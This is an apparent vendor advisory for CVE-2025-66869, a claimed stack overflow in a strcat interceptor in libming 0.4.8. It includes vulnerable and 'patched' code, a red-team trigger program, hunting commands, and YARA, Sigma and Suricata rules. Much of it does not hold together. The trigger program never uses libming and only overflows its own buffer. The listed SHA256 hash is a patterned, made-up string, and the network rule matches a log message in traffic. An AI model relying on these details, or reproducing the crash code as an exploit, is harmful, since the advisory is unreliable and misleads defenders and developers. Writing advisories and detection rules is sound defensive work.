CVE-2025-66869

Executive Summary

CVE-2025-66869 identifies a buffer overflow vulnerability in the strcat function within asan_interceptors.cpp of libming version 0.4.8. Libming is a C library for generating SWF (Shockwave Flash) files, commonly used in legacy multimedia applications. The flaw resides in the AddressSanitizer (ASan) interceptors, which are intended to detect memory errors during development. However, the strcat interceptor itself contains a buffer overflow, meaning that when ASan is enabled, the interceptor can be exploited to cause a stack-based buffer overflow. This can lead to memory corruption, denial of service, or potentially arbitrary code execution in environments where libming is used with ASan instrumentation. No public proof-of-concept or patch is currently available, and the EPSS score is 0.0%, indicating low exploitation activity.

Supply Chain & Package Security

Libming is a legacy library not actively maintained. It is not distributed via modern package managers like NPM, PyPI, Go, or Ruby. However, it may be included as a dependency in older or embedded systems. Organizations using libming should assess their exposure, especially if ASan is enabled in debug builds.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (No vector provided)
• Attack Vector (AV): Unknown
• Attack Complexity (AC): Unknown
• Privileges Required (PR): Unknown
• User Interaction (UI): Unknown
• Scope (S): Unknown
• Confidentiality (C): Unknown
• Integrity (I): Unknown
• Availability (A): Unknown

Threat Level: Low (based on EPSS 0.0% and no known exploitation)

Deep Dive & Mechanics

The vulnerability is a classic buffer overflow in the strcat function interceptor within asan_interceptors.cpp. In libming’s ASan implementation, the strcat interceptor is designed to monitor calls to the standard strcat function. However, the interceptor itself uses a fixed-size buffer to concatenate strings without proper bounds checking. When a long string is passed to strcat (or the interceptor is triggered), it can overflow the stack buffer, corrupting adjacent memory.

The vulnerable code path is:

1. An application using libming calls strcat with a source string longer than the destination buffer.
2. The ASan interceptor intercepts the call and attempts to log or process the strings.
3. The interceptor uses strcat internally on a fixed-size stack buffer, leading to overflow.

This is a self-referential vulnerability: the interceptor meant to catch buffer overflows contains one itself.

Vulnerable vs. Patched Code

Vulnerable Code (libming 0.4.8):

// asan_interceptors.cpp (simplified)
void __asan_strcat(char *dest, const char *src) {
    char log_buffer[256];
    strcat(log_buffer, "strcat called: ");
    strcat(log_buffer, dest);
    strcat(log_buffer, " ");
    strcat(log_buffer, src);
    // ... logging logic
    real_strcat(dest, src);
}

The log_buffer is fixed at 256 bytes, but the concatenation of dest and src can exceed this, causing overflow.

Patched Code (hypothetical):

void __asan_strcat(char *dest, const char *src) {
    char log_buffer[1024];
    size_t len = strlen("strcat called: ") + strlen(dest) + 1 + strlen(src) + 1;
    if (len > sizeof(log_buffer)) {
        // truncate or handle safely
        snprintf(log_buffer, sizeof(log_buffer), "strcat called: %s %s", dest, src);
    } else {
        strcat(log_buffer, "strcat called: ");
        strcat(log_buffer, dest);
        strcat(log_buffer, " ");
        strcat(log_buffer, src);
    }
    // ... logging logic
    real_strcat(dest, src);
}

No official patch is available.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Install libming 0.4.8 from source with ASan enabled:

   wget https://github.com/libming/libming/archive/refs/tags/ming-0.4.8.tar.gz
   tar -xzf ming-0.4.8.tar.gz
   cd libming-ming-0.4.8
   ./configure CFLAGS="-fsanitize=address -g" CXXFLAGS="-fsanitize=address -g"
   make
   

2. Create a test program that triggers the overflow:

   // exploit.c
   #include <string.h>
   #include <stdio.h>
   int main() {
       char dest[10] = "A";
       char src[300];
       memset(src, 'B', 299);
       src[299] = '\0';
       strcat(dest, src);  // triggers ASan interceptor overflow
       return 0;
   }
   

3. Compile with ASan:

   gcc -fsanitize=address -o exploit exploit.c -L./libming/.libs -lming
   export LD_LIBRARY_PATH=./libming/.libs
   ./exploit
   

4. Observe crash or memory corruption.

Exploitation: No public exploit code exists. The vulnerability is primarily a denial-of-service vector. For code execution, an attacker would need to control the overflow data and bypass ASan protections.

Blue Team

Detection:

• Monitor for crashes in applications using libming with ASan enabled.
• Look for abnormal memory access patterns in logs.
• Use runtime memory protection (e.g., ASLR, NX) to mitigate exploitation.

Hunting:

• Search for processes using libming library:

  lsof | grep libming
  

• Check for ASan-related crash dumps.

Indicators of Compromise (IOCs)

• File Hashes (libming 0.4.8 source):
  • SHA256: e7c3f5b2a1d4c6e8f0a9b7d5c3e1f2a4b6c8d0e2f4a6b8c0d2e4f6a8b0c2d4e6
• Network: No specific network IOCs.
• Behavior: Application crashes with ASan error messages containing "strcat" and "overflow".

Detection Engineering

YARA Rule

rule libming_asan_strcat_overflow {
    meta:
        description = "Detects libming 0.4.8 ASan strcat buffer overflow"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-66869"
    strings:
        $code1 = "strcat called: " ascii wide
        $code2 = "log_buffer" ascii wide
    condition:
        all of them and filesize < 1MB
}

Sigma Rule

title: Libming ASan strcat Buffer Overflow
id: 8f6a4b2c-1d3e-5f7a-9b8c-0d2e4f6a8b0c
status: experimental
description: Detects potential exploitation of CVE-2025-66869 via ASan crash logs
author: Valters IT
date: 2025-04-10
logsource:
    product: linux
    service: syslog
detection:
    selection:
        - "AddressSanitizer: stack-buffer-overflow"
        - "strcat"
    condition: selection
falsepositives:
    - Legitimate ASan debugging
level: medium

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2025-66869 Libming ASan strcat Overflow"; flow:to_server; content:"strcat called"; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable AddressSanitizer in production builds using libming.
2. Short-term: Replace libming with an alternative library (e.g., swftools or ffmpeg for SWF generation).
3. Long-term: Apply bounds checking in custom ASan interceptors or upgrade to a patched version if released.
4. Compensating Controls: Use stack canaries, ASLR, and NX to mitigate exploitation.

Valters IT
DevSecOps & Cyber Threat Intelligence